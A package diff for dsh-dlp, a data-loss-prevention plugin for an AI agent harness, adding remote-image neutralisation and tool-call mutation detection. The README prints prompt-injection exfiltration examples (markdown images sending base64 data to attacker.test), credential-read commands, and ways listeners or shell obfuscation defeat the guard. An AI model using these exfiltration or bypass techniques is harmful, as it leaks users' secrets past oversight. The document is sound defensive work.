dsh-dlp 0.2.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,7 +3,7 @@
3
3
  Data-loss prevention for [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness),
4
4
  built as an out-of-repo plugin.
5
5
 
6
- It does five things:
6
+ It does six things:
7
7
 
8
8
  1. **Denies credential-file access and secrets bound for the network** — unconditionally, from
9
9
  `ctx.tools.guard()`. It tests the path-typed arguments of a call against a table of
@@ -15,7 +15,11 @@ It does five things:
15
15
  4. **Strips the invisible characters that carry hidden instructions** out of tool results —
16
16
  the Tags block and bidi overrides — and counts the classes it will not touch because they
17
17
  also appear in legitimate text.
18
- 5. **Writes an audit record for every decision** to its own sink rule id, rule version,
18
+ 5. **Neutralises remote markdown images in assistant output**, and detects a tool call another
19
+ plugin rewrote after the session log recorded it. Both are partial mitigations for defects
20
+ in the harness rather than in your configuration —
21
+ [see below](#mitigations-for-defects-in-the-harness-itself), including what they do not close.
22
+ 6. **Writes an audit record for every decision** to its own sink — rule id, rule version,
19
23
  offsets, and a keyed hash. Never the secret, and never the path or command that matched.
20
24
  `dsh-dlp report` reads that sink back.
21
25
 
@@ -34,6 +38,12 @@ egress firewalling. Use this alongside them, not instead of them.
34
38
 
35
39
  More limits worth stating up front:
36
40
 
41
+ - **Only the guard floor is unconditional.** Every other seam can be neutralised by a listener
42
+ registered ahead of ours: a `tools/pre-execute` listener that returns without calling `next()`
43
+ disables the breadth tier, and a `tools/post-execute` listener ahead of ours can replace a
44
+ result after it was redacted. `ctx.tools.guard()` is order-independent only because it has no
45
+ allow arm. A `tools/pre-execute` deny also skips guards entirely, so the audit sink cannot
46
+ claim to have seen every call.
37
47
  - **The shell-command arm is advisory pattern-matching.** A `bash` command line is split on
38
48
  shell-ish separators and each token is tested as a path. That catches an unobfuscated
39
49
  `cat ~/.ssh/id_rsa`. It catches nothing that tries: `cat ~/.netr?` (one glob character),
@@ -50,7 +60,8 @@ More limits worth stating up front:
50
60
  - **Already-logged history cannot be rewritten; a not-yet-logged inbound message can.** At
51
61
  `llm/stream` the options are deep-frozen and `next()` takes no arguments, so a request the
52
62
  agent has assembled goes out as it stands and a secret already in the conversation reaches
53
- the provider. That is not the whole rule, though: `agent/pre-step` is an async waterfall
63
+ the provider. (The same waterfall's *response* side is writable, and that is where remote
64
+ image destinations are neutralised — see below.) That is not the whole rule, though: `agent/pre-step` is an async waterfall
54
65
  returning `{ kind: 'enter'; messages }`, and the only production append of `user/message`
55
66
  happens *after* it, so a message arriving from outside can still be rewritten before it is
56
67
  logged or presented. This release does not do that; it is recorded here because the earlier
@@ -71,8 +82,143 @@ More limits worth stating up front:
71
82
  is 100% for anything up to 22 characters, which is most of the credential formats worth
72
83
  catching. A detector that fires on the long ones the prefix rules already catch and misses
73
84
  the rest is not worth the false positives it costs.
85
+ - **A secret containing a delimiter can still be split across two redactions.** Every reported
86
+ span grows outward to the nearest delimiter, which over-redacts in the safe direction, but a
87
+ secret whose own text contains one of those delimiters is covered by two placeholders with the
88
+ delimiter left between them.
89
+ - **`additionalContexts` are not scanned.** They are model-visible `UserMessage` payloads and
90
+ this release does not redact them.
91
+ - **Local writes are out of scope.** A `write` or `edit` into a synced directory moves data off
92
+ the machine without going through an egress-capable tool.
93
+ - **Telemetry redaction covers a mounted backend's records only.** A second exporter mounted
94
+ outside the `session-telemetry/record` waterfall is not covered.
95
+ - **`$DSH_HOME` is readable by a read-only tool.** Profile manifests and the installed plugin
96
+ tree are ordinary work to read, so which plugins a profile loads is model-visible. Only writes
97
+ are denied wholesale there, plus reads of the credential material inside it.
74
98
 
75
- The full list is in [PLAN.md §8](PLAN.md).
99
+ ---
100
+
101
+ ## Mitigations for defects in the harness itself
102
+
103
+ Three of this plugin's registrations work around defects in DeepSeek Harness, not in a
104
+ deployment's configuration. **None of them closes its channel**, an upstream fix is better in
105
+ all three cases, and each is written up in `../disclosures/findings/`. They are here because we
106
+ build on these seams today and wanted the accident case narrowed while the upstream question is
107
+ open.
108
+
109
+ ### Remote markdown images in assistant output (finding 001)
110
+
111
+ The web UI renders any absolute `http(s)` markdown image a model emits as a real `<img src>`,
112
+ and the harness sets no Content-Security-Policy. An injected agent emitting
113
+ `![](https://attacker.test/?d=<base64 of something you said>)` makes **your browser** issue that
114
+ request; the harness process never sees it, so no guard, no DLP pass and no audit surface here
115
+ can observe it.
116
+
117
+ This plugin wraps the `llm/stream` waterfall and replaces the destination of every inline
118
+ markdown image whose target is an absolute `http:`/`https:` URL, keeping the alt text:
119
+
120
+ ```
121
+ ![receipt](https://attacker.test/p?d=c2VjcmV0) -> ![receipt](dsh-dlp-blocked-remote-image)
122
+ ```
123
+
124
+ The placeholder is deliberately not a URL, so the renderer takes its own "not an absolute
125
+ destination" arm and shows the alt text instead of fetching anything. Rewriting happens before
126
+ the text becomes an `assistant/chunk` or `assistant/message` event, so the session log and the
127
+ rendered answer agree, and it happens on streamed deltas too — a destination arriving eight
128
+ characters at a time is caught before any accumulation of it can render. The audit record names
129
+ the **hostname only**, never the path or query string, because that is where an exfiltration
130
+ payload rides.
131
+
132
+ What it does not close:
133
+
134
+ - **Only inline image syntax is matched.** A reference-style image (`![alt][ref]` with a
135
+ `[ref]: https://…` definition elsewhere) still renders and still fetches. We do not neutralise
136
+ those, because the definition is shared with ordinary links and killing it would break them.
137
+ - **A destination form the pattern does not model gets through** — an alt text containing `]`,
138
+ unusual percent-encodings, or any future renderer-accepted syntax.
139
+ - **Reasoning text is not touched**, because the UI renders it as plain text rather than
140
+ markdown. If that changes upstream, this stops covering it.
141
+ - Raw HTML needs no handling: the renderer keeps `<img …>` as literal text and no HTML enters
142
+ the DOM. That is upstream doing the right thing, and it is why this only has to handle
143
+ markdown.
144
+ - **This is a real behavioural change.** An assistant answer that legitimately links an image
145
+ loses it — the user sees the alt text instead of the picture. That is why it is a switch:
146
+ `remoteImageNeutralization: false` turns it off, and a deployment whose agents produce useful
147
+ images should turn it off and set a CSP at whatever serves the UI instead.
148
+ - **The upstream fix is one `img-src` directive** in a Content-Security-Policy. That covers
149
+ every form, every client, and every channel of this shape at once. This plugin's version
150
+ covers the common syntax on one seam. Prefer the directive.
151
+
152
+ ### A tool call rewritten between `tools/pre-execute` and the guard (finding 002)
153
+
154
+ The registry deep-freezes `exec.arguments` but does not freeze the execution object until
155
+ results are notified. A `tools/pre-execute` listener can therefore reassign `exec.arguments` or
156
+ `exec.name` — and reassigning `exec.name` **changes which tool body runs** — while the agent
157
+ loop appended `tool/call` from the model's own response block *before* the waterfall ran. The
158
+ durable record then describes a call that never happened, and nothing warns anyone.
159
+
160
+ This plugin snapshots each call's name and a keyed digest of its arguments at the head of the
161
+ waterfall, and compares in the guard, which runs after the whole waterfall. A mismatch is
162
+ **denied**, with an audit record naming which field changed and, when the name changed, the tool
163
+ the log recorded:
164
+
165
+ ```
166
+ dsh-dlp denied "dangerous": another mounted plugin rewrote this call's name after the session
167
+ log recorded it, so the log and the presented call describe something other than what would
168
+ have run. The session log records a call to "safe". ...
169
+ ```
170
+
171
+ What it does not close:
172
+
173
+ - **It detects; it does not prevent.** Preventing the rewrite means freezing an object this
174
+ plugin does not own, which would break `tools/execute` wrappers that legitimately replace
175
+ `exec.signal`. The tool body does not run, but the mutation still happened.
176
+ - **The snapshot is best-effort, not a floor.** It is registered with `{ prepend: true }`, so it
177
+ runs before listeners registered earlier — but a listener registered *later* with the same
178
+ option runs ahead of it and would be snapshotted after its own rewrite.
179
+ - **A call this plugin never saw is never a finding.** Absence of a snapshot means abstain, so
180
+ scoped dispatches this listener does not receive pass unremarked rather than being denied.
181
+ - **It says nothing about other plugins' decisions.** A `deny` or an `ask` from another
182
+ `tools/pre-execute` listener is ordinary traffic; a deny also skips the guard entirely, so
183
+ nothing here is even consulted.
184
+ - **The upstream fix is better**: two `Object.defineProperty(execution, …, { writable: false })`
185
+ calls at the mint site, or a scheduler-invariant throw naming the offending plugin. Either
186
+ makes the rewrite impossible or fatal at the source instead of denying a call downstream of
187
+ it. This check is not configurable, for the same reason the rest of the floor is not.
188
+
189
+ ### The telemetry redactor cannot run under the shipped default (finding 008)
190
+
191
+ A `session-telemetry/record` listener mounts successfully and **silently never runs** under the
192
+ shipped `DSH_TELEMETRY_MODE=DISABLED`, because the coordinator that dispatches the waterfall is
193
+ constructed only in `FULL`/`FEEDBACK_ONLY`. Nothing is exported in that mode, so this is not a
194
+ leak — it is a verification trap: you mount a redactor, see it mount, and have verified nothing.
195
+
196
+ When `telemetryRedaction` is on, this plugin reads the mounted backend's own `sharing`
197
+ disclosure and reports on `process.stderr` **and** `ctx.logger` when the seam will never
198
+ dispatch:
199
+
200
+ ```
201
+ dsh-dlp: telemetryRedaction is enabled, but the mounted session-telemetry backend reports
202
+ sharing "disabled", so nothing dispatches the session-telemetry/record waterfall and this
203
+ plugin's telemetry redaction never runs. Nothing is exported in this state, so this is not a
204
+ leak — it means the redaction rules are unverified, and they begin running the moment
205
+ telemetry is turned on. Informational only: the plugin's other seams are unaffected.
206
+ ```
207
+
208
+ What it does not close:
209
+
210
+ - **It is informational and never fatal.** `DISABLED` is the safe default and the right posture
211
+ for most deployments; the plugin mounts and every other seam runs normally.
212
+ - **It reads a disclosure, not the environment.** `DSH_TELEMETRY_MODE` is only the base
213
+ bundle's default expression for a `mode` a deployment can also set directly, so guessing at
214
+ the variable would be wrong. If a backend discloses `full` or `feedback-only` while
215
+ dispatching nothing, this says nothing.
216
+ - **A backend that mounts after this plugin is answered late.** The check runs at mount if the
217
+ service is already there and otherwise at the first session event, because absence at mount
218
+ cannot be told apart from a load order.
219
+ - **The upstream fix is better**: warn at mount when a `session-telemetry/record` hook exists
220
+ under `DISABLED`, or construct the coordinator unconditionally and drop after the waterfall.
221
+ Either makes the trap visible for every listener, not only ours.
76
222
 
77
223
  ---
78
224
 
@@ -118,6 +264,7 @@ dsh plugin --profile <name> add ./dsh-dlp-0.1.0.tgz
118
264
  breadthTier: true
119
265
  resultRedaction: true
120
266
  telemetryRedaction: true
267
+ remoteImageNeutralization: true
121
268
  redactTelemetryWorkspacePaths: true
122
269
  ```
123
270
 
@@ -383,7 +530,11 @@ its own identity.
383
530
  }
384
531
  ```
385
532
 
386
- `kind` is one of `guard-deny`, `pre-execute-deny`, `result-redaction`, `telemetry-redaction`.
533
+ `kind` is one of `guard-deny`, `pre-execute-deny`, `execution-mutation`, `result-redaction`,
534
+ `telemetry-redaction`, `assistant-image-neutralized`. An `execution-mutation` record carries
535
+ `mutatedFields` and, when a tool substitution happened, the `originalTool` the log recorded. An
536
+ `assistant-image-neutralized` record carries `host` — the hostname of the blocked destination
537
+ and nothing else from the URL.
387
538
  A `result-redaction` record may also carry `unicode`, a count of invisible-character runs per
388
539
  class — counts only, because a hidden instruction is exactly the content this file must not
389
540
  repeat. A record is written whenever there is something to say, including a result that was
package/SECURITY.md CHANGED
@@ -29,7 +29,7 @@ otherwise.
29
29
 
30
30
  This plugin is **not a containment boundary**. It runs in-process at the agent's own uid, so
31
31
  anything the agent can execute can read the same files the guard denies. The following are
32
- documented limits, not vulnerabilities — they are described in README.md and PLAN.md §8:
32
+ documented limits, not vulnerabilities — they are described in README.md:
33
33
 
34
34
  - shell-command obfuscation defeating the `bash` path arm (globbing, quoting, substitution, a
35
35
  different binary);
package/cordis.patch.yml CHANGED
@@ -19,4 +19,5 @@
19
19
  breadthTier: true
20
20
  resultRedaction: true
21
21
  telemetryRedaction: true
22
+ remoteImageNeutralization: true
22
23
  redactTelemetryWorkspacePaths: true
package/lib/cli.js CHANGED
@@ -16,7 +16,7 @@ import { readFileSync, realpathSync } from 'node:fs';
16
16
  import { fileURLToPath } from 'node:url';
17
17
  import { defaultAuditLog } from "./home.js";
18
18
  /** Decision kinds that stopped a call, as opposed to rewriting its result. */
19
- const DENYING_KINDS = new Set(['guard-deny', 'pre-execute-deny']);
19
+ const DENYING_KINDS = new Set(['guard-deny', 'pre-execute-deny', 'execution-mutation']);
20
20
  /** How many decisions the report lists individually. */
21
21
  const RECENT_LIMIT = 10;
22
22
  /** Read one string field, or `undefined` when the line does not carry it. */
package/lib/images.js ADDED
@@ -0,0 +1,183 @@
1
+ /**
2
+ * Neutralising remote markdown images in assistant output, on the `llm/stream`
3
+ * waterfall.
4
+ *
5
+ * The web UI renders any absolute `http:`/`https:` markdown image a model
6
+ * emits as a real `<img src>`, and the harness sets no Content-Security-Policy,
7
+ * so the fetch happens in the user's browser where no host-side listener can
8
+ * see it. This module rewrites the destination out of the assistant's text
9
+ * before it becomes an `assistant/chunk` or `assistant/message` session event,
10
+ * so the log and the rendered answer stay in agreement.
11
+ *
12
+ * Two properties this module exists to hold:
13
+ *
14
+ * - **A destination split across chunks is still caught.** The mock and real
15
+ * adapters both emit text in small deltas, so `![alt](https://host/x)` is
16
+ * routinely spread over several of them and the browser renders the
17
+ * accumulation. Text that could still be the start of an image is held back
18
+ * until it either completes or exceeds {@link MAX_HELD_CHARACTERS}.
19
+ * - **Only the destination is replaced.** The alt text survives, so the
20
+ * sentence the model wrote still reads, and the renderer's own
21
+ * non-absolute-URL arm shows that alt text instead of fetching anything.
22
+ *
23
+ * This does not close the channel. It matches inline image syntax only:
24
+ * reference-style images, an alt text carrying a `]`, and any destination form
25
+ * the pattern does not model still reach the renderer. Raw HTML needs no
26
+ * handling — the renderer keeps it as literal text and no HTML enters the DOM
27
+ * (`packages/client/ui-primitives/src/markdown/render.tsx:261-263`). The
28
+ * upstream fix is one `img-src` directive.
29
+ * @module dsh-dlp/images
30
+ */
31
+ /**
32
+ * Destination substituted for a remote image URL.
33
+ *
34
+ * It is deliberately not a URL: `new URL()` throws on it, which is the
35
+ * renderer's own "not an absolute destination" arm, and that arm renders the
36
+ * alt text as a `<span>` instead of emitting an `<img>`.
37
+ */
38
+ export const BLOCKED_IMAGE_DESTINATION = 'dsh-dlp-blocked-remote-image';
39
+ /**
40
+ * One inline image: alt text, destination, optional title.
41
+ *
42
+ * The destination is either an angle-bracketed form or a run of characters
43
+ * with no whitespace and no parenthesis, which is what CommonMark accepts
44
+ * without balanced-parenthesis nesting.
45
+ */
46
+ const INLINE_IMAGE = /!\[([^\]]*)\]\(\s*(<[^<>\n]*>|[^\s()]*)((?:\s+(?:"[^"]*"|'[^']*'|\([^()]*\)))?)\s*\)/g;
47
+ /**
48
+ * Text that could still become an inline image once more of the stream
49
+ * arrives: an alt text still open, a closed alt text followed by `(`, or a
50
+ * destination not yet closed.
51
+ */
52
+ const PARTIAL_IMAGE = /^!\[[^\]]*(?:\](?:\((?:\s*(?:<[^<>\n]*|[^\s()]*))?)?)?$/;
53
+ /**
54
+ * Longest suffix held back waiting for an image to complete.
55
+ *
56
+ * Held text is text the user cannot see yet, so the wait is bounded: past this
57
+ * many characters the suffix is emitted as it stands and a destination that
58
+ * completes later is caught only by the assembled block. A protocol bound on
59
+ * this module's own buffering, not a deployment choice.
60
+ */
61
+ export const MAX_HELD_CHARACTERS = 4096;
62
+ /**
63
+ * The hostname of an absolute `http(s)` destination.
64
+ * @param destination - the image destination exactly as the model wrote it.
65
+ * @returns the hostname, or `undefined` when the destination is not an absolute HTTP(S) URL.
66
+ */
67
+ function remoteHost(destination) {
68
+ const trimmed = destination.startsWith('<') && destination.endsWith('>')
69
+ ? destination.slice(1, -1)
70
+ : destination;
71
+ let url;
72
+ try {
73
+ url = new URL(trimmed);
74
+ }
75
+ catch {
76
+ // The only failure mode for a string: not an absolute URL, which the
77
+ // renderer also refuses, so there is nothing to neutralise.
78
+ return undefined;
79
+ }
80
+ return url.protocol === 'http:' || url.protocol === 'https:' ? url.hostname : undefined;
81
+ }
82
+ /**
83
+ * Replace every absolute HTTP(S) inline image destination in one string.
84
+ * @param text - assistant text, whole or partial.
85
+ * @returns the rewritten text and the hosts whose destinations were replaced.
86
+ */
87
+ export function neutralizeRemoteImages(text) {
88
+ const hosts = [];
89
+ const rewritten = text.replace(INLINE_IMAGE, (match, alt, destination, title) => {
90
+ const host = remoteHost(destination);
91
+ if (host === undefined)
92
+ return match;
93
+ hosts.push(host);
94
+ return `![${alt}](${BLOCKED_IMAGE_DESTINATION}${title})`;
95
+ });
96
+ return { text: rewritten, hosts };
97
+ }
98
+ /**
99
+ * Where the held suffix of a partially streamed string starts.
100
+ * @param text - everything accumulated for one block and not yet emitted.
101
+ * @returns the offset to emit up to; the string's length when nothing is held.
102
+ */
103
+ export function heldSuffixStart(text) {
104
+ const marker = text.lastIndexOf('![');
105
+ if (marker !== -1 && text.length - marker <= MAX_HELD_CHARACTERS && PARTIAL_IMAGE.test(text.slice(marker))) {
106
+ return marker;
107
+ }
108
+ return text.endsWith('!') ? text.length - 1 : text.length;
109
+ }
110
+ /**
111
+ * Wrap one model stream, replacing remote image destinations in its text.
112
+ *
113
+ * Text deltas are rewritten as they pass, with a possible image start held
114
+ * back until it resolves, and the assembled block on `block-end` — which is
115
+ * what the agent loop turns into the assistant message — is rewritten too. A
116
+ * held suffix is always flushed as a delta before the block closes and before
117
+ * the terminal finish, so no text is lost and the emitted chunks still satisfy
118
+ * the stream grammar.
119
+ * @param source - the stream from the rest of the waterfall.
120
+ * @param onNeutralized - notified once per host per text block.
121
+ * @returns the rewritten stream.
122
+ */
123
+ export async function* neutralizeImageStream(source, onNeutralized) {
124
+ const held = new Map();
125
+ const reported = new Map();
126
+ /** Report each host once per block: the deltas and the assembled block carry the same text. */
127
+ const report = (index, hosts) => {
128
+ let seen = reported.get(index);
129
+ if (seen === undefined) {
130
+ seen = new Set();
131
+ reported.set(index, seen);
132
+ }
133
+ for (const host of hosts) {
134
+ if (seen.has(host))
135
+ continue;
136
+ seen.add(host);
137
+ onNeutralized(host);
138
+ }
139
+ };
140
+ /** Emit whatever one block is still holding, so a close or a finish loses nothing. */
141
+ function* flush(index) {
142
+ const pending = held.get(index);
143
+ held.delete(index);
144
+ if (pending !== undefined && pending.length > 0)
145
+ yield { type: 'text-delta', index, text: pending };
146
+ }
147
+ for await (const chunk of source) {
148
+ switch (chunk.type) {
149
+ case 'text-delta': {
150
+ const { text, hosts } = neutralizeRemoteImages((held.get(chunk.index) ?? '') + chunk.text);
151
+ report(chunk.index, hosts);
152
+ const cut = heldSuffixStart(text);
153
+ held.set(chunk.index, text.slice(cut));
154
+ if (cut > 0)
155
+ yield { ...chunk, text: text.slice(0, cut) };
156
+ break;
157
+ }
158
+ case 'block-end': {
159
+ yield* flush(chunk.index);
160
+ if (chunk.block.type !== 'text') {
161
+ yield chunk;
162
+ break;
163
+ }
164
+ const { text, hosts } = neutralizeRemoteImages(chunk.block.text);
165
+ report(chunk.index, hosts);
166
+ yield text === chunk.block.text ? chunk : { ...chunk, block: { ...chunk.block, text } };
167
+ break;
168
+ }
169
+ case 'finish': {
170
+ for (const index of [...held.keys()])
171
+ yield* flush(index);
172
+ yield chunk;
173
+ break;
174
+ }
175
+ default:
176
+ yield chunk;
177
+ }
178
+ }
179
+ // Only a stream that ended without a terminal finish reaches this: the
180
+ // grammar forbids emitting after one, so the flush above already ran.
181
+ for (const index of [...held.keys()])
182
+ yield* flush(index);
183
+ }
package/lib/index.js CHANGED
@@ -14,6 +14,15 @@
14
14
  * a result that cannot be cleaned is withheld rather than accepted.
15
15
  * 4. `session-telemetry/record` — fail-closed redaction of exported telemetry,
16
16
  * reaching tier 1 only because the waterfall is synchronous.
17
+ * 5. `llm/stream` — neutralising remote markdown image destinations in
18
+ * assistant output, before the text becomes a session event.
19
+ *
20
+ * Three of those registrations mitigate defects in the harness rather than in
21
+ * a deployment's own configuration: the missing Content-Security-Policy behind
22
+ * (5), the mutable execution object behind the guard's mutation check, and the
23
+ * silently inert telemetry seam behind the notice reported at mount. Each one
24
+ * is partial, none closes its channel, and README.md says so beside the
25
+ * feature.
17
26
  *
18
27
  * This plugin is not a containment boundary. It runs in-process at the agent's
19
28
  * own uid; anything the agent can execute can read the same files the guard
@@ -25,8 +34,10 @@ import { readFileSync, writeFileSync } from 'node:fs';
25
34
  import { loadRepoPolicy, resolvePolicy } from "./policy.js";
26
35
  import { SpanHasher } from "./redaction.js";
27
36
  import { safeEvaluateGuard } from "./guard.js";
37
+ import { neutralizeImageStream } from "./images.js";
38
+ import { ExecutionSnapshots, mutationReason } from "./mutation.js";
28
39
  import { breadthTierDenial, evaluateBreadthTier, redactDecision } from "./results.js";
29
- import { redactRecord } from "./telemetry.js";
40
+ import { redactRecord, telemetrySeamNotice } from "./telemetry.js";
30
41
  import { AuditSink, CallCorrelator, newDecisionId, RECORD_VERSION } from "./sink.js";
31
42
  export { Config } from "./policy.js";
32
43
  /** Display metadata; labels the plugin in Cordis diagnostics. */
@@ -84,6 +95,16 @@ function report(ctx, message) {
84
95
  ctx.logger.error(message);
85
96
  process.stderr.write(`${message}\n`);
86
97
  }
98
+ /**
99
+ * Report something the operator should know that is not a fault, on the same
100
+ * two channels and for the same reason as {@link report}.
101
+ * @param ctx - the plugin's context, used for its logger.
102
+ * @param message - the whole line to report.
103
+ */
104
+ function notice(ctx, message) {
105
+ ctx.logger.warn(message);
106
+ process.stderr.write(`${message}\n`);
107
+ }
87
108
  /**
88
109
  * Load the repo-local policy tier, if the deployment named one.
89
110
  *
@@ -138,7 +159,30 @@ export function apply(ctx, config) {
138
159
  ...position === undefined ? {} : { turn: position.turn, step: position.step },
139
160
  };
140
161
  };
162
+ const snapshots = new ExecutionSnapshots(hasher);
163
+ /**
164
+ * Report the telemetry seam's state once.
165
+ *
166
+ * At mount only a backend that is already there answers the question: the
167
+ * backend can load after this plugin, and calling that absence "inert" would
168
+ * be a false alarm. `conclusive` marks the later call, made once the harness
169
+ * is running sessions, where an absent backend really means no dispatcher.
170
+ */
171
+ let telemetrySeamReported = false;
172
+ const discloseTelemetrySeam = (conclusive) => {
173
+ if (telemetrySeamReported)
174
+ return;
175
+ const backend = ctx.get('sessionTelemetry');
176
+ if (backend === undefined && !conclusive)
177
+ return;
178
+ telemetrySeamReported = true;
179
+ const line = telemetrySeamNotice(backend?.sharing);
180
+ if (line !== undefined)
181
+ notice(ctx, line);
182
+ };
141
183
  ctx.on('session/event', (_session, event) => {
184
+ if (policy.telemetryRedaction)
185
+ discloseTelemetrySeam(true);
142
186
  if (event.type === 'tool/call') {
143
187
  correlator.note(event.data.callId, { turn: event.data.turn, step: event.data.step });
144
188
  return;
@@ -147,9 +191,32 @@ export function apply(ctx, config) {
147
191
  correlator.forget(event.data.message.source.callId);
148
192
  }
149
193
  });
194
+ // Snapshot each call before the rest of the waterfall can rewrite it. The
195
+ // prepend is best-effort by construction: a listener registered later with
196
+ // the same option runs ahead of this one.
197
+ ctx.on('tools/pre-execute', (exec, next) => {
198
+ snapshots.record(exec);
199
+ return next();
200
+ }, { prepend: true });
150
201
  // The floor. Registered on a plain context so it applies globally: to every
151
202
  // agent, every `run_code` inner sub-call, and every subagent child.
152
203
  ctx.effect(() => ctx.tools.guard((exec) => {
204
+ // Integrity first: a call whose name or arguments changed after `tool/call`
205
+ // was appended is denied whatever the policy tables say about it, because
206
+ // the log no longer describes what would run.
207
+ const mutation = snapshots.detect(exec);
208
+ if (mutation !== undefined) {
209
+ sink.write({
210
+ v: RECORD_VERSION,
211
+ time: new Date().toISOString(),
212
+ kind: 'execution-mutation',
213
+ decisionId: newDecisionId(),
214
+ ...identity(exec),
215
+ mutatedFields: mutation.fields,
216
+ ...mutation.fields.includes('name') ? { originalTool: mutation.originalTool } : {},
217
+ });
218
+ return mutationReason(exec, mutation);
219
+ }
153
220
  const verdict = safeEvaluateGuard(exec, policy, hasher);
154
221
  if (verdict === undefined)
155
222
  return undefined;
@@ -212,7 +279,20 @@ export function apply(ctx, config) {
212
279
  return redacted.decision;
213
280
  });
214
281
  }
282
+ if (policy.remoteImageNeutralization) {
283
+ ctx.on('llm/stream', (options, next) => neutralizeImageStream(next(), (host) => {
284
+ sink.write({
285
+ v: RECORD_VERSION,
286
+ time: new Date().toISOString(),
287
+ kind: 'assistant-image-neutralized',
288
+ decisionId: newDecisionId(),
289
+ ...options.sessionId === undefined ? {} : { sessionId: String(options.sessionId) },
290
+ host,
291
+ });
292
+ }));
293
+ }
215
294
  if (policy.telemetryRedaction) {
295
+ discloseTelemetrySeam(false);
216
296
  ctx.on('session-telemetry/record', (_record, next) => {
217
297
  // Throwing here withholds this one record; the coordinator contains it
218
298
  // and the agent loop never sees the failure. That is the fail-closed
@@ -0,0 +1,102 @@
1
+ /**
2
+ * Detecting a tool call that was rewritten after it was logged.
3
+ *
4
+ * The registry deep-freezes `exec.arguments` but does not freeze the execution
5
+ * object until results are notified, so a `tools/pre-execute` listener can
6
+ * reassign `exec.arguments` or `exec.name` — and reassigning `exec.name`
7
+ * changes which tool body runs. The agent loop appended `tool/call` from the
8
+ * model's own response block before the waterfall ran, so nothing in the
9
+ * session log records the change: the durable record then describes a
10
+ * different call than the one about to execute.
11
+ *
12
+ * This module snapshots the call as early in the waterfall as it can and
13
+ * compares in the guard, which runs after the whole waterfall and cannot be
14
+ * out-ordered. It is detection, not prevention: preventing the rewrite would
15
+ * mean freezing an object this plugin does not own, and the snapshot itself is
16
+ * best-effort — a later `{ prepend: true }` registration runs ahead of ours and
17
+ * would be snapshotted after its own rewrite.
18
+ * @module dsh-dlp/mutation
19
+ */
20
+ /**
21
+ * Render a JSON value with object keys in a fixed order, so two equal argument
22
+ * sets hash equally whatever order a listener rebuilt them in.
23
+ * @param value - the argument value; JSON-serializable by the registry's own snapshot step.
24
+ * @returns a canonical string for hashing.
25
+ */
26
+ export function canonicalJson(value) {
27
+ if (Array.isArray(value))
28
+ return `[${value.map(canonicalJson).join(',')}]`;
29
+ if (typeof value === 'object' && value !== null) {
30
+ return `{${Object.keys(value).sort().map(key => `${JSON.stringify(key)}:${canonicalJson(value[key])}`).join(',')}}`;
31
+ }
32
+ // `undefined` has no JSON rendering; it reaches here only for an execution
33
+ // whose arguments never materialized, which the registry fails before the
34
+ // waterfall. A fixed token keeps the digest total either way.
35
+ return JSON.stringify(value) ?? 'undefined';
36
+ }
37
+ /**
38
+ * Remembers what each pending call looked like before the rest of the
39
+ * `tools/pre-execute` waterfall ran.
40
+ *
41
+ * Keyed by the execution object's identity in a `WeakMap`, the way the
42
+ * registry keys its own per-execution state, so the entry is found again in
43
+ * the guard and released with the execution.
44
+ */
45
+ export class ExecutionSnapshots {
46
+ #snapshots = new WeakMap();
47
+ #hasher;
48
+ /**
49
+ * @param hasher - mints the keyed digest of the arguments; the values themselves are never stored.
50
+ */
51
+ constructor(hasher) {
52
+ this.#hasher = hasher;
53
+ }
54
+ /**
55
+ * Snapshot one pending call.
56
+ * @param exec - the execution as the earliest listener sees it.
57
+ */
58
+ record(exec) {
59
+ this.#snapshots.set(exec, { name: exec.name, digest: this.#hasher.hash(canonicalJson(exec.arguments)) });
60
+ }
61
+ /**
62
+ * Compare one call against its snapshot.
63
+ *
64
+ * A call with no snapshot is not a finding: the listener may never have run
65
+ * for it, and reporting absence as mutation would deny calls this plugin
66
+ * simply did not observe.
67
+ * @param exec - the execution as the guard stage sees it.
68
+ * @returns what changed, or `undefined` when nothing did.
69
+ */
70
+ detect(exec) {
71
+ const snapshot = this.#snapshots.get(exec);
72
+ if (snapshot === undefined)
73
+ return undefined;
74
+ const fields = [];
75
+ if (exec.name !== snapshot.name)
76
+ fields.push('name');
77
+ if (this.#hasher.hash(canonicalJson(exec.arguments)) !== snapshot.digest)
78
+ fields.push('arguments');
79
+ return fields.length === 0 ? undefined : { fields, originalTool: snapshot.name };
80
+ }
81
+ }
82
+ /**
83
+ * Denial text for a rewritten call.
84
+ *
85
+ * Both tool names are named: a tool name is already in the session log and in
86
+ * every other denial this plugin writes, and naming them is the whole point —
87
+ * the operator needs to know which call the log describes and which one was
88
+ * about to run. No argument value appears.
89
+ * @param exec - the call as the guard sees it, after the rewrite.
90
+ * @param mutation - the fields that changed and the recorded tool name.
91
+ * @returns the model-facing reason.
92
+ */
93
+ export function mutationReason(exec, mutation) {
94
+ const changed = mutation.fields.join(' and ');
95
+ const renamed = mutation.fields.includes('name')
96
+ ? ` The session log records a call to ${JSON.stringify(mutation.originalTool)}.`
97
+ : '';
98
+ return `dsh-dlp denied ${JSON.stringify(exec.name)}: another mounted plugin rewrote this call's ${changed} `
99
+ + `after the session log recorded it, so the log and the presented call describe something other than what `
100
+ + `would have run.${renamed} The call is denied because a tool call that cannot be reconstructed from the log `
101
+ + 'is not auditable. This is a defect in a mounted plugin, not in the call; report it to the deployment operator.';
102
+ }
package/lib/policy.js CHANGED
@@ -29,10 +29,17 @@ export const Config = z.object({
29
29
  breadthTier: z.boolean().default(true),
30
30
  resultRedaction: z.boolean().default(true),
31
31
  telemetryRedaction: z.boolean().default(true),
32
+ remoteImageNeutralization: z.boolean().default(true),
32
33
  redactTelemetryWorkspacePaths: z.boolean().default(true),
33
34
  });
34
35
  /** Config toggles a repo-local policy may switch on, and never off. */
35
- const ENABLEABLE = ['breadthTier', 'resultRedaction', 'telemetryRedaction', 'redactTelemetryWorkspacePaths'];
36
+ const ENABLEABLE = [
37
+ 'breadthTier',
38
+ 'resultRedaction',
39
+ 'telemetryRedaction',
40
+ 'remoteImageNeutralization',
41
+ 'redactTelemetryWorkspacePaths',
42
+ ];
36
43
  /** Keys a repo-local policy file may carry; anything else fails the load. */
37
44
  const POLICY_KEYS = ['v', 'addCredentialPaths', 'addEgressTools', 'raiseSeverity', 'enable'];
38
45
  /** Payload version this package writes and accepts for repo-local policy files. */
@@ -268,6 +275,7 @@ export function resolvePolicy(config, repo) {
268
275
  breadthTier: enabled('breadthTier'),
269
276
